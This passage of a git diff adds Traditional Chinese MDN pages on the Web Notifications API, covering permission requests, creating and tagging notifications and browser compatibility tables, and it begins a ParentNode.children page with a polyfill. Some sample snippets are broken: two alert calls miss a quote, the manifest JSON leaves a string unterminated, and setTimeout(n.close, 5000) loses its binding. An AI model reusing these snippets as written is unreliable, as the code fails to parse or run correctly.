+<p>在很多時候，你應該不會想要這麼冗長的程式碼。 比如說，在我們的 <a href="http://mdn.github.io/emogotchi/">Emogotchi demo</a> (<a href="https://github.com/mdn/emogotchi">see source code</a>)  之中，我們只寫了 {{domxref("Notification.requestPermission")}} 而不用進一步檢查是否已經獲得了權限：</p>
+
+<pre class="brush: js">Notification.requestPermission();</pre>
+
+<p>然後我們只需要在要新增 Notfication 時執行這個 <code>spawnNotification()</code>  — 透過傳入指定的 body、icon、title，然後它就會產生我們所需的 options 參數並透過 {{domxref("Notification.Notification","Notification()")}} 建構子發送 Notification.</p>
+
+<pre class="brush: js">function spawnNotification(theBody,theIcon,theTitle) {
+  var options = {
+      body: theBody,
+      icon: theIcon
+  }
+  var n = new Notification(theTitle,options);
+}</pre>
+
+<h2 id="規格">規格</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Web Notifications')}}</td>
+   <td>{{Spec2('Web Notifications')}}</td>
+   <td>Living standard</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="瀏覽器支援度">瀏覽器支援度</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>5{{property_prefix("webkit")}}<sup>[1]</sup><br>
+    22</td>
+   <td>4.0 {{property_prefix("moz")}}<sup>[2]</sup><br>
+    22</td>
+   <td>{{CompatNo}}</td>
+   <td>25</td>
+   <td>6<sup>[3]</sup></td>
+  </tr>
+  <tr>
+   <td><code>icon</code></td>
+   <td>5{{property_prefix("webkit")}}<sup>[1]</sup><br>
+    22</td>
+   <td>4.0 {{property_prefix("moz")}}<sup>[2]</sup><br>
+    22</td>
+   <td>{{CompatNo}}</td>
+   <td>25</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+  <tr>
+   <td>Available in workers</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatGeckoDesktop("41.0")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>silent</code></td>
+   <td>{{CompatChrome(43.0)}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+  <tr>
+   <td><code>noscreen</code>, <code>renotify</code>, <code>sound</code>, <code>sticky</code></td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Android Webview</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>Firefox OS</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+   <th>Chrome for Android</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatUnknown}}</td>
+   <td>
+    <p>{{CompatVersionUnknown}}</p>
+   </td>
+   <td>4.0{{property_prefix("moz")}}<sup>[2]</sup><br>
+    22</td>
+   <td>1.0.1{{property_prefix("moz")}}<sup>[2]</sup><br>
+    1.2</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatNo}}</td>
+   <td>
+    <p>{{CompatVersionUnknown}}</p>
+   </td>
+  </tr>
+  <tr>
+   <td><code>icon</code></td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>4.0{{property_prefix("moz")}}<sup>[2]</sup><br>
+    22</td>
+   <td>1.0.1{{property_prefix("moz")}}<sup>[2]</sup><br>
+    1.2</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td>Available in workers</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatGeckoMobile("41.0")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>silent</code></td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatChrome(43.0)}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatChrome(43.0)}}</td>
+  </tr>
+  <tr>
+   <td><code>noscreen</code>, <code>renotify</code>, <code>sound</code>, <code>sticky</code></td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] Before Chrome 22, the support for notification followed an <a href="http://www.chromium.org/developers/design-documents/desktop-notifications/api-specification">old prefixed version of the specification</a> and used the {{domxref("window.navigator.webkitNotifications","navigator.webkitNotifications")}} object to instantiate a new notification.</p>
+
+<p>Before Chrome 32, {{domxref("Notification.permission")}} was not supported.</p>
+
+<p>Before Chrome 42, service worker additions were not supported.</p>
+
+<p>[2] Prior to Firefox 22 (Firefox OS &lt;1.2), the instantiation of a new notification must be done with the {{domxref("window.navigator.mozNotification", "navigator.mozNotification")}} object through its <code>createNotification</code> method.</p>
+
+<p>Prior to Firefox 22 (Firefox OS &lt;1.2), the Notification was displayed when calling the <code>show</code> method and supported only the <code>click</code> and <code>close</code> events.</p>
+
+<p>Nick Desaulniers wrote a <a href="https://github.com/nickdesaulniers/fxos-irc/blob/master/js/notification.js">Notification shim</a> to cover both newer and older implementations.</p>
+
+<p>One particular Firefox OS issue is that you can <a href="https://github.com/nickdesaulniers/fxos-irc/blob/0160cf6c3a2b5c9fe33822aaf6bcba3b7e846da9/my.js#L171">pass a path to an icon</a> to use in the notification, but if the app is packaged you cannot use a relative path like <code>/my_icon.png</code>. You also can't use <code>window.location.origin + "/my_icon.png"</code> because <code>window.location.origin</code> is null in packaged apps. The <a href="https://developer.mozilla.org/en-US/Apps/Developing/Manifest#origin">manifest origin field</a> fixes this, but it is only available in Firefox OS 1.1+. A potential solution for supporting Firefox OS &lt;1.1 is to <a href="https://github.com/nickdesaulniers/fxos-irc/blob/0160cf6c3a2b5c9fe33822aaf6bcba3b7e846da9/my.js#L168">pass an absolute URL to an externally hosted version of the icon</a>. This is less than ideal as the notification is displayed immediately without the icon, then the icon is fetched, but it works on all versions of Firefox OS.</p>
+
+<p>When using notifications  in a Firefox OS app, be sure to add the <code>desktop-notification</code> permission in your manifest file. Notifications can be used at any permission level, hosted or above: <code>"permissions": { "desktop-notification": {} }</code></p>
+
+<p>[3] Safari started to support notification with Safari 6, but only on Mac OSX 10.8+ (Mountain Lion).</p>
+
+<h2 id="延伸閱讀">延伸閱讀</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/API/Notifications_API/Using_the_Notifications_API">Using the Notifications API</a></li>
+</ul>
diff --git a/files/zh-tw/web/api/notifications_api/index.html b/files/zh-tw/web/api/notifications_api/index.html
new file mode 100644
index 0000000000..8cf3276371
--- /dev/null
+++ b/files/zh-tw/web/api/notifications_api/index.html
@@ -0,0 +1,198 @@
+---
+title: Notifications API
+slug: Web/API/Notifications_API
+translation_of: Web/API/Notifications_API
+---
+<p>{{DefaultAPISidebar("Web Notifications")}}</p>
+
+<p class="summary"><span class="tlid-translation translation" lang="zh-TW"><span title="">Notifications API允許網頁控制向終端用戶顯示系統通知</span></span> — 它在網頁瀏覽器的視圖之外，因此使用者切換顯示卡或移至不同的應用程式也能顯示。此 API 設計為在相容於不同平台與現有的通知系統相容。</p>
+
+<h2 id="概念與使用方法">概念與使用方法</h2>
+
+<p><span class="tlid-translation translation" lang="zh-TW"><span title="">在受到支持的平台上，顯示系統通知通常涉及兩件事。</span></span> <span class="tlid-translation translation" lang="zh-TW"><span title="">首先，用戶需要授予當前的來源權限才能顯示系統通知，</span></span><span class="tlid-translation translation" lang="zh-TW"><span title="">通常在應用程式或網站初始化完成後</span></span>使用{{domxref("Notification.requestPermission()")}} 方法。</p>
+
+<pre class="brush: js">btn.addEventListener('click', function() {
+  let promise = Notification.requestPermission();
+  // wait for permission
+})</pre>
+
+<p>這不僅是最佳實踐 — <span class="tlid-translation translation" lang="zh-TW"><span title="">您不應向用戶發送他們不同意的通知，並且在未來瀏覽器將明確禁止沒有響應用戶請求允許通知對話框的通知。Firefox 72 開始已遵循這項約定。使用此方法將產生一個請求對話框，如下所示：</span></span></p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/10819/notification-bubble.png" style="display: block; height: 205px; margin: 0 auto; width: 453px;"></p>
+
+<p><span class="tlid-translation translation" lang="zh-TW"><span title="">用戶可以從此處選擇允許、屏蔽來自此來源的通知，也可以不做選擇。</span> <span title="">一旦選定，該設置通常將在當前會話中保持不變。</span></span></p>
+
+<div class="note">
+<p><strong>注意</strong>: 從 Firefox 44 開始，Notifications 和 <a href="/en-US/docs/Web/API/Push_API">Push</a> 的權限已合併。如果授予通知權限則推送也將被啟用。</p>
+</div>
+
+<p>下一步，使用 {{domxref("Notification.Notification","Notification()")}} 構造函數創建一個新通知。 這必須要傳遞一個標題參數(title)，並且可以選擇性的傳遞選擇物件指定諸如文字方向、正文、圖標、撥放通知的聲音等等。</p>
+
+<p>{{AvailableInWorkers}}</p>
+
+<p><span class="tlid-translation translation" lang="zh-TW"><span title="">另外，Notifications API規範指定了</span></span> <a href="/en-US/docs/Web/API/ServiceWorker_API">ServiceWorker API</a> <span class="tlid-translation translation" lang="zh-TW"><span title="">的許多附加功能，以允許服務人員觸發通知。</span></span></p>
+
+<div class="note">
+<p><strong>注意</strong>: <span class="tlid-translation translation" lang="zh-TW"><span title="">要了解有關在自己的應用程序中使用通知的更多信息，請閱讀</span></span> <a href="/en-US/docs/Web/API/Notifications_API/Using_the_Notifications_API">Using the Notifications API</a>。</p>
+</div>
+
+<h2 id="Notifications_介面">Notifications 介面</h2>
+
+<dl>
+ <dt>{{domxref("Notification")}}</dt>
+ <dd>定義一個通知物件。</dd>
+</dl>
+
+<h3 id="Service_worker_附加功能">Service worker 附加功能</h3>
+
+<dl>
+ <dt>{{domxref("ServiceWorkerRegistration")}}</dt>
+ <dd>包含 {{domxref("ServiceWorkerRegistration.showNotification()")}} 和 {{domxref("ServiceWorkerRegistration.getNotifications()")}} <span class="tlid-translation translation" lang="zh-TW"><span title="">用於控制通知顯示的方法。</span></span></dd>
+ <dt>{{domxref("ServiceWorkerGlobalScope")}}</dt>
+ <dd>包含 {{domxref("ServiceWorkerGlobalScope.onnotificationclick")}} <span class="tlid-translation translation" lang="zh-TW"><span title="">點擊通知時觸發自定義函數的處理程序。</span></span></dd>
+ <dt>{{domxref("NotificationEvent")}}</dt>
+ <dd>基於 {{domxref("ExtendableEvent")}} <span class="tlid-translation translation" lang="zh-TW"><span title="">的特定類型的事件對象，它表示已觸發的通知。</span></span></dd>
+</dl>
+
+<h2 id="規範">規範</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Web Notifications')}}</td>
+   <td>{{Spec2('Web Notifications')}}</td>
+   <td>Living standard</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="瀏覽器相容性">瀏覽器相容性</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>5{{property_prefix("webkit")}}<sup>[1]</sup><br>
+    22</td>
+   <td>{{CompatGeckoDesktop("2.0")}}{{property_prefix("moz")}}<sup>[2]</sup><br>
+    {{CompatGeckoDesktop("22.0")}}</td>
+   <td>{{CompatNo}}</td>
+   <td>25</td>
+   <td>6<sup>[3]</sup></td>
+  </tr>
+  <tr>
+   <td>Available in workers</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatGeckoDesktop("41.0")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td>Service worker additions</td>
+   <td>
+    <p>{{CompatChrome(42.0)}}</p>
+   </td>
+   <td>{{CompatGeckoDesktop("42.0")}}<sup>[4]</sup></td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Android Webview</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>Firefox OS</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+   <th>Chrome for Android</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatUnknown}}</td>
+   <td>
+    <p>{{CompatVersionUnknown}}</p>
+   </td>
+   <td>{{CompatGeckoMobile(2.0)}}{{property_prefix("moz")}}<sup>[2]</sup><br>
+    {{CompatGeckoMobile(22.0)}}</td>
+   <td>1.0.1{{property_prefix("moz")}}<sup>[2]</sup><br>
+    1.2</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatNo}}</td>
+   <td>
+    <p>{{CompatVersionUnknown}}</p>
+   </td>
+  </tr>
+  <tr>
+   <td>Available in workers</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatGeckoMobile(41.0)}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td>Service worker additions</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatGeckoMobile(42.0)}}<sup>[4]</sup></td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatChrome(42.0)}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] Before Chrome 22, the support for notification followed an <a href="http://www.chromium.org/developers/design-documents/desktop-notifications/api-specification">old prefixed version of the specification</a> and used the {{domxref("window.navigator.webkitNotifications","navigator.webkitNotifications")}} object to instantiate a new notification. Before Chrome 32, {{domxref("Notification.permission")}} was not supported.</p>
+
+<p>[2] Prior to Firefox 22 (Firefox OS &lt;1.2), the instantiation of a new notification was done with the {{domxref("window.navigator.mozNotification", "navigator.mozNotification")}} object through its <code>createNotification()</code> method. In addition, the Notification was displayed when calling the <code>show()</code> method and supported only the <code>click</code> and <code>close</code> events (Nick Desaulniers wrote a <a href="https://github.com/nickdesaulniers/fxos-irc/blob/master/js/notification.js">Notification shim</a> to cover both newer and older implementations.)</p>
+
+<p>[3] Safari started to support notification with Safari 6, but only on Mac OSX 10.8+ (Mountain Lion).</p>
+
+<p>[4] Firefox 42 has shipped with web notifications from Service Workers disabled.</p>
+
+<h2 id="Firefox_OS_permissions">Firefox OS permissions</h2>
+
+<p>When using notifications  in a Firefox OS app, be sure to add the <code>desktop-notification</code> permission in your manifest file. Notifications can be used at any permission level, hosted or above:</p>
+
+<pre class="brush: json">"permissions": {
+  "desktop-notification": {}
+}</pre>
+
+<h2 id="參見">參見</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/API/Notifications_API/Using_the_Notifications_API">Using the Notifications API</a></li>
+</ul>
diff --git a/files/zh-tw/web/api/notifications_api/using_the_notifications_api/index.html b/files/zh-tw/web/api/notifications_api/using_the_notifications_api/index.html
new file mode 100644
index 0000000000..1a970509c2
--- /dev/null
+++ b/files/zh-tw/web/api/notifications_api/using_the_notifications_api/index.html
@@ -0,0 +1,236 @@
+---
+title: 使用 Web Notifications
+slug: Web/API/Notifications_API/Using_the_Notifications_API
+translation_of: Web/API/Notifications_API/Using_the_Notifications_API
+---
+<p>{{SeeCompatTable}}</p>
+
+<h2 id="摘要">摘要</h2>
+
+<p>Web Notifications API 可將通知傳送至頁面以外的系統層級並顯示通知。因此即使 Web Apps 處於閒置狀態，亦可傳送資訊予使用者。絕佳範例之一，就是在使用其他 Apps 時，Web Mail App 同樣可通知使用者已接收到新郵件。</p>
+
+<h2 id="要求權限">要求權限</h2>
+
+<h3 id="網頁內容">網頁內容</h3>
+
+<p>在 Apps 傳送通知之前，使用者必須先許可 Apps 的動作。只要 APIs 嘗試予網頁之外的東西互動，均必須先獲得使用者的授權。如此可避免濫發通知而影響使用經驗。</p>
+
+<p>透過 <a href="https://developer.mozilla.org/en-US/docs/Web/API/Notification.permission" title="The permission property indicates the current permission granted by the user about web notification for the current application."><code>Notification.permission</code></a> 唯讀屬性，要傳送通知的 Apps 將檢查目前的授權狀態。此屬性共有 3 組參數：</p>
+
+<ul>
+ <li><code>default：</code>使用者尚未給予任何權限 (因此不會顯示任何通知)</li>
+ <li><code>granted</code>：使用者允許接收到 Apps 的通知</li>
+ <li><code>denied</code><code>：使用者拒絕接收 </code>Apps 的通知</li>
+</ul>
+
+<div class="note">
+<p><strong>注意：</strong>Chrome 與 Safari 尚未建構 <code>permission</code> 屬性。</p>
+</div>
+
+<p>若使用者尚未給予權限，則 Apps 必須透過 <a href="https://developer.mozilla.org/en-US/docs/Web/API/Notification.requestPermission" title="The requestPermission static method is used to ask the user for his permission to display a Notification to him."><code>Notification.requestPermission()</code></a> 函式讓使用者選擇，接著由此函式接收 1 組回呼 (Callback) 函式作為參數；而該回呼函式則提供使用者是否授權的資訊。</p>
+
+<p>以下為啟動 Apps 時要求權限的常用範例：</p>
+
+<pre class="brush: js">window.addEventListener('load', function () {
+  Notification.requestPermission(function (status) {
+    // This allows to use Notification.permission with Chrome/Safari
+    if (Notification.permission !== status) {
+      Notification.permission = status;
+    }
+  });
+});</pre>
+
+<div class="note">
+<p><strong>注意：</strong>Chrome 不允許於載入事件中呼叫 <a href="https://developer.mozilla.org/en-US/docs/Web/API/Notification.requestPermission" title="The requestPermission static method is used to ask the user for his permission to display a Notification to him."><code>Notification.requestPermission()</code></a> (參閱 <a href="https://code.google.com/p/chromium/issues/detail?id=274284" title="https://code.google.com/p/chromium/issues/detail?id=274284">issue 274284</a>)。</p>
+</div>
+
+<h3 id="已安裝的_Apps">已安裝的 Apps</h3>
+
+<p>在安裝 Apps 之後，若於 <a href="https://developer.mozilla.org/zh-TW/docs/%E6%87%89%E7%94%A8%E7%A8%8B%E5%BC%8F/Manifest-840092-dup" title="/en-US/docs/Web/Apps/Manifest">Apps 的 manifest 檔案</a>中直接添加權限，即可省去再次向使用者要求權限的動作。</p>
+
+<pre class="brush: json">permissions: {
+  "desktop-notification": {
+    "description: "Allows to display notifications on the user's desktop.
+  }
+}</pre>
+
+<h2 id="建立通知">建立通知</h2>
+
+<p>透過 <a href="https://developer.mozilla.org/en-US/docs/Web/API/Notification" title="The Notification object is used to configure and display desktop notifications to the user."><code>Notification</code></a> 建構子 (Constructor) 即可建立通知。此建構子包含 1 組標題，可於通知內顯示；另有如 <a href="https://developer.mozilla.org/en-US/docs/Web/API/Notification.icon" title="The icon property indicates the URL of the icon to use with the notification."><code>icon</code></a> 或文字 <a href="https://developer.mozilla.org/en-US/docs/Web/API/Notification.body" title="The body property represents the text content of the body of the notification."><code>body</code></a><code> 等</code>數個選項，可強化通知的內容。</p>
+
+<p>在建立實體 (Instantiated) 之後，就會儘快顯示通知。若要追蹤通知的目前狀態，必須在 <a href="https://developer.mozilla.org/en-US/docs/Web/API/Notification" title="The Notification object is used to configure and display desktop notifications to the user."><code>Notification</code></a> 的實體階層觸發 4 個事件：</p>
+
+<ul>
+ <li><a href="https://developer.mozilla.org/en-US/docs/Web/Reference/Events/show" title="/en-US/docs/Web/Reference/Events/show">show</a>：對使用者顯示通知之後，隨即觸發</li>
+ <li><a href="https://developer.mozilla.org/en-US/docs/Web/Reference/Events/click" title="/en-US/docs/Web/Reference/Events/click">click</a>：使用者點擊通知之後，隨即觸發</li>
+ <li><a href="https://developer.mozilla.org/en-US/docs/Web/Reference/Events/close" title="/en-US/docs/Web/Reference/Events/close">close</a>：關閉通知之後，隨即觸發</li>
+ <li><a href="https://developer.mozilla.org/en-US/docs/Web/Reference/Events/error" title="/en-US/docs/Web/Reference/Events/error">error</a>：通知發生任何錯誤 (大多數是因為某種情況而未顯示通知)，隨即觸發</li>
+</ul>
+
+<p>而透過 <a href="https://developer.mozilla.org/en-US/docs/Web/API/Notification.onshow" title="Specifies an event listener to receive show events. These events occur when a Notification is displayed."><code>onshow</code></a>、<a href="https://developer.mozilla.org/en-US/docs/Web/API/Notification.onclick" title="Specifies an event listener to receive click events. These events occur when the user clicks on a displayed Notification."><code>onclick</code></a>、<a href="https://developer.mozilla.org/en-US/docs/Web/API/Notification.onclose" title="Specifies an event listener to receive close events. These events occur when a Notification is closed."><code>onclose</code></a>，或 <a href="https://developer.mozilla.org/en-US/docs/Web/API/Notification.onerror" title="Specifies an event listener to receive error events. These events occur when something goes wrong with a Notification (in many cases an error prevented the notification from being displayed)."><code>onerror</code></a> 等事件處理器 (Event handler)，即可追蹤這些事件。由於 <a href="https://developer.mozilla.org/en-US/docs/Web/API/Notification" title="The Notification object is used to configure and display desktop notifications to the user."><code>Notification</code></a> 是繼承 <a href="https://developer.mozilla.org/en-US/docs/Web/API/EventTarget" title="EventTarget is a DOM interface implemented by objects that can receive DOM events and have listeners for them."><code>EventTarget</code></a> 而來，因此亦可使用 <a href="https://developer.mozilla.org/en-US/docs/Web/API/EventTarget.addEventListener" title="addEventListener() registers the specified listener on the EventTarget it's called on. The event target may be an Element in a document, the Document itself, a Window, or any other object that supports events (such as XMLHttpRequest)."><code>addEventListener()</code></a> 函式。</p>
+
+<div class="note">
+<p><strong>注意：</strong>Firefox 與 Safari 並未遵守 close 事件的規格。此規格雖然規定「僅限使用者能關閉通知」，但 Firefox 與 Safari 卻可於數分鐘後自動關閉通知。因此不一定是由使用者關閉通知。</p>
+
+<p>此規格並明確規定「應透過 <a href="https://developer.mozilla.org/en-US/docs/Web/API/Notification.close" title="The close method is used to close a Notification that has been displayed."><code>Notification.close()</code></a> 函式，於應用程式層級完成自動關閉通知」。範例程式碼如下：</p>
+
+<pre class="brush: js">var n = new Notification("Hi!");
+n.onshow = function () {
+  setTimeout(n.close, 5000);
+}
+</pre>
+</div>
+
+<h3 id="簡易範例">簡易範例</h3>
+
+<p>先假設下列基本 HTML：</p>
+
+<pre class="brush: html">&lt;button&gt;Notify me!&lt;/button&gt;</pre>
+
+<p>則能以這種方法處理通知：</p>
+
+<pre class="brush: js">window.addEventListener('load', function () {
+  // At first, let's check if we have permission for notification
+  // If not, let's ask for it
+  if (Notification &amp;&amp; Notification.permission !== "granted") {
+    Notification.requestPermission(function (status) {
+      if (Notification.permission !== status) {
+        Notification.permission = status;
+      }
+    });
+  }
+  var button = document.getElementsByTagName('button')[0];
+  button.addEventListener('click', function () {
+    // If the user agreed to get notified
+    if (Notification &amp;&amp; Notification.permission === "granted") {
+      var n = new Notification("Hi!");
+    }
+    // If the user hasn't told if he wants to be notified or not
+    // Note: because of Chrome, we are not sure the permission property
+    // is set, therefore it's unsafe to check for the "default" value.
+    else if (Notification &amp;&amp; Notification.permission !== "denied") {
+      Notification.requestPermission(function (status) {
+        if (Notification.permission !== status) {
+          Notification.permission = status;
+        }
+        // If the user said okay
+        if (status === "granted") {
+          var n = new Notification("Hi!");
+        }
+        // Otherwise, we can fallback to a regular modal alert
+        else {
+          alert("Hi!");
+        }
+      });
+    }
+    // If the user refuses to get notified
+    else {
+      // We can fallback to a regular modal alert
+      alert("Hi!");
+    }
+  });
+});</pre>
+
+<h3 id="現場測試結果">現場測試結果</h3>
+
+<p>若無法顯示，可至本文右上角「Language」切換回英文原文觀看。</p>
+
+<p>{{ EmbedLiveSample('Simple_example', '100%', 30) }}</p>
+
+<h2 id="處理多筆通知">處理多筆通知</h2>
+
+<p>某些情況下 (如某個即時訊息 App 持續通知每一筆進來的訊息)，使用者可能會接收大量的通知。為了避免太多非必要訊息擠爆使用者的桌面，則應該讓等待中的通知進入佇列。</p>
+
+<p>將標籤添加至任何新的通知，即可達到佇列效果。若通知擁有相同的標籤且尚未顯示，則新通知就會取代先前的通知；反之，若已顯示了相同標籤的通知，就會關閉先前的通知而顯示新通知。</p>
+
+<h3 id="標籤範例">標籤範例</h3>
+
+<p>先假設下列基本 HTML：</p>
+
+<pre class="brush: html">&lt;button&gt;Notify me!&lt;/button&gt;</pre>
+
+<p>則能以下列方式處理多筆通知：</p>
+
+<pre class="brush: js">window.addEventListener('load', function () {
+  // At first, let's check if we have permission for notification
+  // If not, let's ask for it
+  if (Notification &amp;&amp; Notification.permission !== "granted") {
+    Notification.requestPermission(function (status) {
+      if (Notification.permission !== status) {
+        Notification.permission = status;
+      }
+    });
+  }
+  var button = document.getElementsByTagName('button')[0];
+  button.addEventListener('click', function () {
+    // If the user agreed to get notified
+    // Let's try to send ten notifications
+    if (Notification &amp;&amp; Notification.permission === "granted") {
+      for (var i = 0; i &lt; 10; i++) {
+        // Thanks to the tag, we should only see the "Hi! 10" notification
+        var n = new Notification("Hi! " + i, {tag: 'soManyNotification'});
+      }
+    }
+    // If the user hasn't told if he wants to be notified or not
+    // Note: because of Chrome, we are not sure the permission property
+    // is set, therefore it's unsafe to check for the "default" value.
+    else if (Notification &amp;&amp; Notification.permission !== "denied") {
+      Notification.requestPermission(function (status) {
+        if (Notification.permission !== status) {
+          Notification.permission = status;
+        }
+        // If the user said okay
+        if (status === "granted") {
+          for (var i = 0; i &lt; 10; i++) {
+            // Thanks to the tag, we should only see the "Hi! 10" notification
+            var n = new Notification("Hi! " + i, {tag: 'soManyNotification'});
+          }
+        }
+        // Otherwise, we can fallback to a regular modal alert
+        else {
+          alert(Hi!");
+        }
+      });
+    }
+    // If the user refuses to get notified
+    else {
+      // We can fallback to a regular modal alert
+      alert(Hi!");
+    }
+  });
+});</pre>
+
+<h3 id="現場測試結果_2">現場測試結果</h3>
+
+<p>若無法顯示，可至本文右上角「Language」切換回英文原文觀看。</p>
+
+<p>{{ EmbedLiveSample('Tag_example', '100%', 30) }}</p>
+
+<h2 id="規格">規格</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('Web Notifications')}}</td>
+   <td>{{Spec2('Web Notifications')}}</td>
+   <td>Initial specification.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="瀏覽器相容性">瀏覽器相容性</h2>
+
+<p>{{page("/en-US/Web/API/Notification","Browser compatibility")}}</p>
+
+<h2 id="另可參閱">另可參閱</h2>
+
+<ul>
+ <li>{{ domxref("Notification") }}</li>
+</ul>
diff --git a/files/zh-tw/web/api/parentnode/children/index.html b/files/zh-tw/web/api/parentnode/children/index.html
new file mode 100644
index 0000000000..f9f6c76115
--- /dev/null
+++ b/files/zh-tw/web/api/parentnode/children/index.html
@@ -0,0 +1,152 @@
+---
+title: ParentNode.children
+slug: Web/API/ParentNode/children
+translation_of: Web/API/ParentNode/children
+---
+<p>{{ APIRef("DOM") }}</p>
+
+<p><code><strong>Node.children</strong></code> 唯讀屬性會回傳一個 <code>Node</code> 之子{{domxref("Element","元素")}}的動態（live）{{domxref("HTMLCollection")}}。</p>
+
+<h2 id="語法">語法</h2>
+
+<pre class="syntaxbox">var <em>children</em> = <em>node</em>.children;</pre>
+
+<p><code><em>children</em></code> 是一個 {{ domxref("HTMLCollection") }}，為一個有順序性、由 <em><code>node</code></em> 中的 DOM 子元素所組成的集合。假如沒有子元素，則 <code><em>children</em></code> 內便不包含任何元素，且 <code>length</code> 為 <code>0</code>。</p>
+
+<h2 id="範例">範例</h2>
+
+<pre class="brush: js">var foo = document.getElementById('foo');
+for (var i = 0; i &lt; foo.children.length; i++) {
+    console.log(foo.children[i].tagName);
+}
+</pre>
+
+<h2 id="Polyfill">Polyfill</h2>
+
+<pre class="brush: js">// Overwrites native 'children' prototype.
+// Adds Document &amp; DocumentFragment support for IE9 &amp; Safari.
+// Returns array instead of HTMLCollection.
+;(function(constructor) {
+    if (constructor &amp;&amp;
+        constructor.prototype &amp;&amp;
+        constructor.prototype.children == null) {
+        Object.defineProperty(constructor.prototype, 'children', {
+            get: function() {
+                var i = 0, node, nodes = this.childNodes, children = [];
